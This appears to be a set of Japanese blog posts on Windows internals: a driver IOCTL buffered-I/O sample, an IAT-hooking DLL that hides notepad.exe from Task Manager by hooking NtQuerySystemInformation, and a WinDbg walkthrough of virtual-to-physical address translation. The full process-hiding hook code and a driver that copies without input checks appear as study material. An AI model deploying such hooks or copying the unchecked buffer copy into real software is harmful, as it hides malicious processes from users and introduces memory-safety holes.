DeviceIoControlを使うことで,ハンドルを持っているデバイスオブジェクトへ直接任意の制御コードを送信することができる.

バイスオブジェクトは関数コードIRP_MJ_DEVICE_CONTROLを受け取り,対応するディスパッチャへ処理が移る. このディスパッチャ内で制御コードを判定すればよいだろう.

この制御コードを受けてBuffer I/Oにとるデータ処理を行うドライバ側のコードは以下のようになる.

NTSTATUS SioctlDeviceControl(PDEVICE_OBJECT DeviceObject, PIRP Irp) {
    DbgPrint("[+]DispatchDeviceControl called\n");

    UNREFERENCED_PARAMETER(DeviceObject);
    PIO_STACK_LOCATION  irpSp;// Pointer to current stack location
    NTSTATUS            ntStatus = STATUS_SUCCESS;// Assume success
    ULONG               inBufLength; // Input buffer length
    ULONG               outBufLength; // Output buffer length
    PCHAR               inBuf, outBuf; // pointer to Input and output buffer
    PWCHAR               data = L"This String is from Device Driver !!!";
    size_t              datalen = (wcslen(data) + 1) * 2 ;//Length of data including null


    UNREFERENCED_PARAMETER(DeviceObject);

    PAGED_CODE(); // Causing a BSOD when code is executed in a non-pagepool

    irpSp = IoGetCurrentIrpStackLocation(Irp);
    inBufLength = irpSp->Parameters.DeviceIoControl.InputBufferLength;
    outBufLength = irpSp->Parameters.DeviceIoControl.OutputBufferLength;


    if (!inBufLength || !outBufLength)
    {
        ntStatus = STATUS_INVALID_PARAMETER;
        goto End;
    }

    switch (irpSp->Parameters.DeviceIoControl.IoControlCode)
    {
    case METHOD_BUFFERED:

        DbgPrint("[+]Called IOCTL_SIOCTL_METHOD_BUFFERED\n");
        PrintIrpInfo(Irp);

        inBuf = (PCHAR)Irp->AssociatedIrp.SystemBuffer;
        outBuf = (PCHAR)Irp->AssociatedIrp.SystemBuffer;

        DbgPrint("\tData from User :");
        PrintChars(inBuf, inBufLength);

        RtlCopyBytes(outBuf, data, outBufLength);
        DbgPrint("\tData to User : ");
        PrintChars(outBuf, datalen);
        Irp->IoStatus.Information = (outBufLength < datalen ? outBufLength : datalen);
        break;

    default:
        ntStatus = STATUS_INVALID_DEVICE_REQUEST;
        DbgPrint("ERROR: unrecognized IOCTL %x\n",
            irpSp->Parameters.DeviceIoControl.IoControlCode);
        break;
    }

End:
    Irp->IoStatus.Status = ntStatus;
    IoCompleteRequest(Irp, IO_NO_INCREMENT);
    return ntStatus;
}

ここまでの全体の流れをまとめると以下のようになる.

  1. アプリケーションが, DeviceIoControlを使用してシンボリックリンクへアクセスすることにより,I/Oマネージャがドライバに対してIRPを送信する.
  2. IRPを受信したドライバはIRPの関数コードを判定し,適切なディスパッチルーチンを呼び出す.
  3. DeviceIoControlを使用したIRPの関数コードはIRP_MJ_DEVICE_CONTROLであり,上記コードのSioctlDeviceControlへ処理が移る.
  4. SioctlDeviceControlでは制御コードを判定して処理を行う.
  5. もし制御コードがMETHOD_BUFFEREDであった場合,アプリケーションが用意したバッファと同じサイズのバッファが非ページシステムバッファに作成される.
  6. 任意の処理を行った後,この非ページシステムバッファがアプリケーション側のバッファに反映される.

デモ

www.youtube.com

コード全体は以下を参照のこと. ドライバ側で入力値検査を行っていない点に注意.

application.cpp · GitHub

以上.

参考

github.com

docs.microsoft.com

https://www-user.tu-chemnitz.de/~heha/oney_wdm/ch09d.htm

sciencepark.co.jp

https://www.youtube.com/watch?v=fjDnDZQt1l4

IAT Hookをやってみる

IAT Hookをやってみる

PEファイルフォーマットにおけるIAT(Import Address Table)は,インポートしたAPIのエントリーポイントへのアドレスが記載されるルックアップテーブルだ.

あるモジュールからエクスポートされるAPIを使用する際,実行時にIATを参照して当該モジュール内のAPIへジャンプするという処理が行われる.

したがってこのIATエントリを適切に書き換えることで,API呼び出しをフックすることができる.

本稿では,IAT書き換えによるAPIフックを行うDLLを作成し,実際にタスクマネージャプロセスから特定プロセスを隠してみる.

自プロセスのIATをフックしてみる

いきなりIATフックを行うDLLを作成するのは,デバッグ等の点からハードルが高い.

そこでここでは,最初に自プロセスのIATをフックするプログラムを作成し挙動を観察した後,それをDLL化する方針を取る.

まずはWikiのサンプルコードを使用してIATフックの動作を確認する.

en.wikipedia.org

ここで筆者が確認したいことは以下の2つだ.

  • ディスク上のオフセット(すなわちRVA)からIATエントリのVAへの変換
  • IATエントリ書き換え動作の様子

最初にディスク上の実行ファイル内オフセットから,メモリ上のIATエントリのアドレスへと変換してみる.

PE-bearを使うと,MessageBoxAのアドレスを格納したIATエントリは実行ファイルの先頭からオフセット0x20158に位置することが分かる.

f:id:snoozekvn:20200327232932j:plain

さらに実行ファイルのImageBaseは以下から0x00007ff7f5fd0000だとわかる.

f:id:snoozekvn:20200327232927j:plain

ディスク上の実行ファイル内オフセットとメモリ上のIATエントリのアドレスは以下のような関係にある.

ImageBase + MessageBoxAへのアドレスを格納したIATエントリのRVA  = メモリ上のMessageBoxAへのアドレスを格納したIATエントリへのアドレス

したがって

0x00007ff7f5fd0000 + 0x20158 = 0x00007ff7f5ff0158

となる.

今,MessageBoxAへのアドレスは以下の画像により0x00007ff60f3b1e68であることが分かっている.

f:id:snoozekvn:20200327232922j:plain

実際にこの値を確認すると確かにMessageBoxAのアドレスが保持されており,メモリ上のIATのアドレスが求まったといえる.

f:id:snoozekvn:20200327235412j:plain

恣意的な感じは否めないが,ともあれメモリ上のIATエントリなどの関係性は確認できたのでよしとする.

簡易な計算で,ディスク上の実行ファイル内オフセットからメモリ上のMessageBoxAへのアドレスを保持するIATエントリのアドレスへと変換できるようになった.

さらに処理を進めると,2度目のMessageBoxAのcallで参照するIATの値が書き換わることも確認できる.

以下の画像がフック前.

f:id:snoozekvn:20200327232936j:plain

以下の画像がフック後.

f:id:snoozekvn:20200327232940j:plain

このまま処理を続けるとフック関数へとジャンプし,本来のMessageBoxAとは異なる動作をするようになった.

f:id:snoozekvn:20200327232910j:plain

以上よりIATのフック処理が正常に動作することが確認できた.

続いてIATフックにより特定プロセスを隠ぺいするDLLを作成していく.

IATフックを行うDLLを作成する

タスクマネージャなどのシステム上のプロセス一覧を表示するツールは,Ntdll.dllからエクスポートされるNtQuerySystemInformationを使用して,Windowsカーネルからプロセスリストを得ていることが知られている.

このNtQuerySystemInformationをフックして特定プロセスを隠ぺいするDLLを作成する.

#include "pch.h"
#include <stdio.h>
#include <Psapi.h>
#include <windows.h>
#include <winternl.h>

// Defines and typedefs
#define STATUS_SUCCESS  ((NTSTATUS)0x00000000L)

typedef struct _MY_SYSTEM_PROCESS_INFORMATION
{
    ULONG                   NextEntryOffset;
    ULONG                   NumberOfThreads;
    LARGE_INTEGER           Reserved[3];
    LARGE_INTEGER           CreateTime;
    LARGE_INTEGER           UserTime;
    LARGE_INTEGER           KernelTime;
    UNICODE_STRING          ImageName;
    ULONG                   BasePriority;
    HANDLE                  ProcessId;
    HANDLE                  InheritedFromProcessId;
} MY_SYSTEM_PROCESS_INFORMATION, * PMY_SYSTEM_PROCESS_INFORMATION;

typedef NTSTATUS(WINAPI* PNT_QUERY_SYSTEM_INFORMATION)(
    __in       SYSTEM_INFORMATION_CLASS SystemInformationClass,
    __inout    PVOID SystemInformation,
    __in       ULONG SystemInformationLength,
    __out_opt  PULONG ReturnLength
    );

PNT_QUERY_SYSTEM_INFORMATION OriginalNtQuerySystemInformation =
(PNT_QUERY_SYSTEM_INFORMATION)GetProcAddress(GetModuleHandle(L"ntdll"),
    "NtQuerySystemInformation");

// Hooked function
NTSTATUS WINAPI HookedNtQuerySystemInformation(
    __in       SYSTEM_INFORMATION_CLASS SystemInformationClass,
    __inout    PVOID                    SystemInformation,
    __in       ULONG                    SystemInformationLength,
    __out_opt  PULONG                   ReturnLength
)
{
    NTSTATUS status = OriginalNtQuerySystemInformation(SystemInformationClass,
        SystemInformation,
        SystemInformationLength,
        ReturnLength);
    if (SystemProcessInformation == SystemInformationClass && STATUS_SUCCESS == status)
    {
        // Loop through the list of processes
        PMY_SYSTEM_PROCESS_INFORMATION pCurrent = NULL;
        PMY_SYSTEM_PROCESS_INFORMATION pNext = (PMY_SYSTEM_PROCESS_INFORMATION)
            SystemInformation;

        do
        {
            pCurrent = pNext;
            pNext = (PMY_SYSTEM_PROCESS_INFORMATION)((PUCHAR)pCurrent + pCurrent->
                NextEntryOffset);

            if (!wcsncmp(pNext->ImageName.Buffer, L"notepad.exe", pNext->ImageName.Length))
            {
                if (!pNext->NextEntryOffset)
                {
                    pCurrent->NextEntryOffset = 0;
                }
                else
                {
                    pCurrent->NextEntryOffset += pNext->NextEntryOffset;
                }
                pNext = pCurrent;
            }
        } while (pCurrent->NextEntryOffset != 0);
    }
    return status;
}
void DetourIATptr(const char* function, void* newfunction, HMODULE module);



void** IATfind(const char* function, HMODULE module) { //Find the IAT (Import Address Table) entry specific to the given function.
    int ip = 0;
    if (module == 0)
        module = GetModuleHandle(0);
    PIMAGE_DOS_HEADER pImgDosHeaders = (PIMAGE_DOS_HEADER)module;
    PIMAGE_NT_HEADERS pImgNTHeaders = (PIMAGE_NT_HEADERS)((LPBYTE)pImgDosHeaders + pImgDosHeaders->e_lfanew);
    PIMAGE_IMPORT_DESCRIPTOR pImgImportDesc = (PIMAGE_IMPORT_DESCRIPTOR)((LPBYTE)pImgDosHeaders + pImgNTHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress);

    if (pImgDosHeaders->e_magic != IMAGE_DOS_SIGNATURE)
        printf("libPE Error : e_magic is no valid DOS signature\n");

    for (IMAGE_IMPORT_DESCRIPTOR* iid = pImgImportDesc; iid->Name != NULL; iid++) {
        for (int funcIdx = 0; *(funcIdx + (LPVOID*)(iid->FirstThunk + (SIZE_T)module)) != NULL; funcIdx++) {
            char* modFuncName = (char*)(*(funcIdx + (SIZE_T*)(iid->OriginalFirstThunk + (SIZE_T)module)) + (SIZE_T)module + 2);
            const uintptr_t nModFuncName = (uintptr_t)modFuncName;
            bool isString = !(nModFuncName & (sizeof(nModFuncName) == 4 ? 0x80000000 : 0x8000000000000000));
            if (isString) {
                if (!_stricmp(function, modFuncName))
                    return funcIdx + (LPVOID*)(iid->FirstThunk + (SIZE_T)module);
            }
        }
    }
    return 0;
}

void DetourIATptr(const char* function, void* newfunction, HMODULE module) {
    void** funcptr = IATfind(function, module);
    if (*funcptr == newfunction)
        return;

    DWORD oldrights, newrights = PAGE_READWRITE;
    //Update the protection to READWRITE
    VirtualProtect(funcptr, sizeof(LPVOID), newrights, &oldrights);

    *funcptr = newfunction;

    //Restore the old memory protection flags.
    VirtualProtect(funcptr, sizeof(LPVOID), oldrights, &newrights);
}


BOOL APIENTRY DllMain( HMODULE hModule,
                       DWORD  ul_reason_for_call,
                       LPVOID lpReserved
                     )
{
    switch (ul_reason_for_call)
    {
    case DLL_PROCESS_ATTACH:
        DetourIATptr("NtQuerySystemInformation", (void*)HookedNtQuerySystemInformation, 0); //Hook the function       
        break;
    case DLL_THREAD_ATTACH:
    case DLL_THREAD_DETACH:
    case DLL_PROCESS_DETACH:
        break;
    }
    return TRUE;
}

このDLLは以下のような処理を行う.

  1. ターゲットプロセスへのロード時にDllMain内のDetourIATptrが呼ばれる
  2. DetourIATptrはIATfindを呼び出して,Taskmgr.exe内のIATからNtQuerySystemInformationのアドレスが記載されたエントリを見つける
  3. VirtualProtectを使いメモリ属性を変更した後,APIエントリをHookedNtQuerySystemInformationへのアドレスへ書き換える
  4. HookedNtQuerySystemInformationでは,オリジナルのNtQuerySystemInformationを使ってプロセスリストを取得する
  5. アクティブなプロセスのリストにnotepad.exeが見つかった場合このエントリをスキップするようリストを書き換える

デモ

実際に動かしてみる.

youtu.be

以上.

参考

inaz2.hatenablog.com

ired.team

f3real.github.io

仮想アドレスから物理アドレスを求めてみる

仮想アドレスから物理アドレスを求めてみる

本稿では,Windows10 x64システム上で動作する,4-level pagingについてみていく.

最初に4-level pagingによるアドレス変換の概要に触れた後,後半では実際にWinDbgを使ってシステム上の仮想アドレスから物理アドレスへの変換にトライしてみる.

ページング

Intel Developers Manualを参照すると,ページングの方式には大きく3種類あることが分かる.

  • 32bit paging
  • 32bit PAE paging
  • 4-level paging

レジスタに適切な値をセットすることでこれらページングのモードが変わる.

Windows10 x64システムでは通常4-level pagingが使用される.

具体的には,仮想アドレスの変換には以下のような処理を行っている.

f:id:snoozekvn:20200325103814j:plain

引用元: Intel® 64 and IA-32 Architectures Software Developer Manual: Vol 3

この図から,アドレスの変換に4つのルックアップを行うことが分かる.

  1. PML4Tから正しいPDPTE(PDPTエントリ)を見つけるためのルックアップ
  2. PDPT から正しいPDE(PDエントリ)を見つけるためのルックアップ
  3. PDから正しいPTE(PEエントリ)を見つけるためのルックアップ
  4. PTから正しいPhysical Addrを見つけるためのルックアップ

本稿ではこれを手計算で辿っていき,仮想アドレスから物理アドレスへの変換を体験してみる.

PTE(Page Table Entry)

本稿の主題である,仮想アドレスから物理アドレスへの変換に直接関係するわけではないが,PTEはセキュリティ等で重要であるため合わせて載せておく.

x64 ハードウェア PTEは,物理アドレス上のページに関する種々の情報を保持する.

f:id:snoozekvn:20200325111135j:plain

引用元: http://index-of.es/EBooks/NX-bit.pdf

NX bitやValid bit,Dirty bitなどはよく知られているだろう.

例えば,あるページを指すPTEのNX bitが立っていれば,そのページ内でのコード実行が許可されていないことを示し,Dirty bitが立っていれば,何らかの書き込み操作があったことを示す.

また最下位bitはデマンドページングに使用される.

対応するページアクセス時にもし最下位bitが0ならばページフォールトが発生し,システムは物理メモリへのページ割り当て処理へと移行する.

PTEに関する話はこのぐらいにして,以降では実際にWinDbgを使って仮想アドレスから物理アドレスへの変換に挑戦してみる.

WinDbgを使って手動で仮想アドレスを物理アドレスに変換する

まず事前準備としてVirtualBox上のWindows10 64bitのカーネルへ,ホストからWinDbgを使ってアタッチする.

変換対象となる仮想アドレスはなんでもよいのだが,今回は以下のようなプログラムを使って変換を行う.

// Ex1.cpp
#include<iostream>
#include <cstdlib>
int main() {
    unsigned i = 0xDEADBEEF;
    std::cout << "address :  " << std::hex << &i << std::endl;
    std::cout << i << std::endl;
    system("PAUSE");
    return 0;
}

メモリ上に確保された符号なし整数値0xDEADBEEFのアドレスを出力するものだが,当然出力されるアドレスは仮想メモリ空間のアドレスである.

このプログラムを実行すると筆者の環境では0xDEADBEEFのアドレスは0x254dcf584だと表示された.

では,Intel Developers Manualを見つつ,手動で仮想アドレス0x254dcf584を物理アドレスに変換してみよう.

最初にWinDbgでEx1.exeプロセスのコンテキストに移動する.

0: kd> !process 0 0 Ex1.exe
PROCESS ffffa7893d8b9080
    SessionId: 1  Cid: 1c98    Peb: 254e82000  ParentCid: 1388
    DirBase: 11a13002  ObjectTable: ffffb800c9723500  HandleCount:  41.
    Image: Ex1.exe
0: kd> .process /i /p ffffa7893d8b9080
You need to continue execution (press 'g' <enter>) for the context
to be switched. When the debugger breaks in again, you will be in
the new process context.
0: kd> g
Break instruction exception - code 80000003 (first chance)
nt!DbgBreakPointWithStatus:
fffff805`67fca210 cc              int     3

ddで確認すると確かにこの仮想アドレスに0xDEADBEEFが見つかる.

0: kd> dd 254dcf584
00000002`54dcf584  deadbeef cccccccc cccccccc cccccccc
00000002`54dcf594  cccccccc cccccccc cccccccc cccccccc
00000002`54dcf5a4  cccccccc cccccccc cccccccc cccccccc
00000002`54dcf5b4  cccccccc cccccccc cccccccc cccccccc
00000002`54dcf5c4  cccccccc cccccccc cccccccc cccccccc
00000002`54dcf5d4  cccccccc cccccccc cccccccc cccccccc
00000002`54dcf5e4  cccccccc cccccccc cccccccc cccccccc
00000002`54dcf5f4  cccccccc cccccccc cccccccc cccccccc

これを物理アドレスに変換する.

事前準備として仮想アドレス0x254dcf584をマニュアルに従って分割しておく.

f:id:snoozekvn:20200325103807j:plain

まず,CR3レジスタに格納された値からPML4テーブルへのアドレスを取得する.

0: kd> r cr3
cr3=0000000011a13002
0: kd> !dq 0000000011a13002
#11a13000 8a000000`3bb20867 00000000`00000000
#11a13010 8a000000`41629867 00000000`00000000
#11a13020 00000000`00000000 00000000`00000000
#11a13030 00000000`00000000 00000000`00000000
#11a13040 00000000`00000000 00000000`00000000
#11a13050 00000000`00000000 00000000`00000000
#11a13060 00000000`00000000 00000000`00000000
#11a13070 00000000`00000000 00000000`00000000

エントリが2つあるが,今回は仮想アドレスの47~39bitの9bitが全て0であるため,最初のエントリ8a000000`3bb20867が求める値だとわかる.

次にPDPT内の対応するエントリへのアドレスを求める.

8a000000`3bb20867の51~12bitと,仮想アドレスのの38~30bitを使って対応するアドレスを求める.

0x8による乗算は各エントリのサイズによるものだ.

0: kd> !dq 000000`3bb20000 + 0x9 * 0x8  
#3bb20048 0a000000`2ef21867 00000000`00000000
#3bb20058 00000000`00000000 00000000`00000000
#3bb20068 00000000`00000000 00000000`00000000
#3bb20078 00000000`00000000 00000000`00000000
#3bb20088 00000000`00000000 00000000`00000000
#3bb20098 00000000`00000000 00000000`00000000
#3bb200a8 00000000`00000000 00000000`00000000
#3bb200b8 00000000`00000000 00000000`00000000

これでPDEが求まった. 同じように,0a000000`2ef21867の51~12bitと,仮想アドレスのの29~21bitを使って対応するアドレスを求める.

0: kd> !dq 000000`2ef21000 + 0xa6 * 0x8
#2ef21530 0a000000`67131867 0a000000`64722867
#2ef21540 00000000`00000000 00000000`00000000
#2ef21550 00000000`00000000 00000000`00000000
#2ef21560 00000000`00000000 00000000`00000000
#2ef21570 00000000`00000000 00000000`00000000
#2ef21580 00000000`00000000 00000000`00000000
#2ef21590 00000000`00000000 00000000`00000000
#2ef215a0 00000000`00000000 00000000`00000000

これでPTEが求まった. 続けて,0a000000`67131867の51~12bitと,仮想アドレスのの20~12bitを使って対応するアドレスを求める.

0: kd> !dq 000000`67131000 + 0x1cf * 0x8
#67131e78 84000000`417d3867 00000000`00000000
#67131e88 00000000`00000000 00000000`00000000
#67131e98 00000000`00000000 00000000`00000000
#67131ea8 00000000`00000000 00000000`00000000
#67131eb8 00000000`00000000 00000000`00000000
#67131ec8 00000000`00000000 00000000`00000000
#67131ed8 00000000`00000000 00000000`00000000
#67131ee8 00000000`00000000 00000000`00000000

最後に,84000000`417d3867の51~12bitと,仮想アドレスのの11~0bitを使って物理アドレスを求める.

0: kd> !dq 000000`417d3000 + 0x584
#417d3580 deadbeef`cccccccc cccccccc`cccccccc
#417d3590 cccccccc`cccccccc cccccccc`cccccccc
#417d35a0 cccccccc`cccccccc cccccccc`cccccccc
#417d35b0 cccccccc`cccccccc cccccccc`cccccccc
#417d35c0 cccccccc`cccccccc cccccccc`cccccccc
#417d35d0 cccccccc`cccccccc cccccccc`cccccccc
#417d35e0 cccccccc`cccccccc cccccccc`cccccccc
#417d35f0 cccccccc`cccccccc cccccccc`cccccccc

これにより,確かに0xDEADBEEFが存在する仮想アドレス0x254dcf584から,物理アドレス0x417d3584へと変換することができた.

WinDbgには,!vtopや!pte等のエクステンションコマンドが用意されており,物理アドレスを求めるには通常こちらを使えばよい.

例えば!pteでは以下のようにして仮想アドレスから物理アドレスを求める.

0: kd> !pte 254dcf584                                           VA 0000000254dcf584
PXE at FFFFF8FC7E3F1000    PPE at FFFFF8FC7E200048    PDE at FFFFF8FC40009530    PTE at FFFFF880012A6E78
contains 8A0000003BB20867  contains 0A0000002EF21867  contains 0A00000067131867  contains 84000000417D3867
pfn 3bb20     ---DA--UW-V  pfn 2ef21     ---DA--UWEV  pfn 67131     ---DA--UWEV  pfn 417d3     ---DA--UW-V

PFNが417d3であるから,物理アドレス0x417d3000に仮想アドレスの下位3バイト0x584を加算したものが物理アドレスである.

メモリダンプから確認する

FTK imagerなどでメモリダンプを取り,それをバイナリエディタで開く. 以下はHxDでオフセット417d3580を見ると,0xDEADBEEFが見つかり確かに物理アドレスに変換できていることが確認できる.

f:id:snoozekvn:20200325103810j:plain

以上.

参考

babyron64.hatenablog.com

mumumu-bin.hatenadiary.jp

www.triplefault.io

rayanfam.com

https://i.blackhat.com/USA-19/Thursday/us-19-Sardar-Paging-All-Windows-Geeks-Finding-Evil-In-Windows-10-Compressed-Memory-wp.pdf

http://index-of.es/EBooks/NX-bit.pdf

https://software.intel.com/sites/default/files/managed/39/c5/325462-sdm-vol-1-2abcd-3abcd.pdf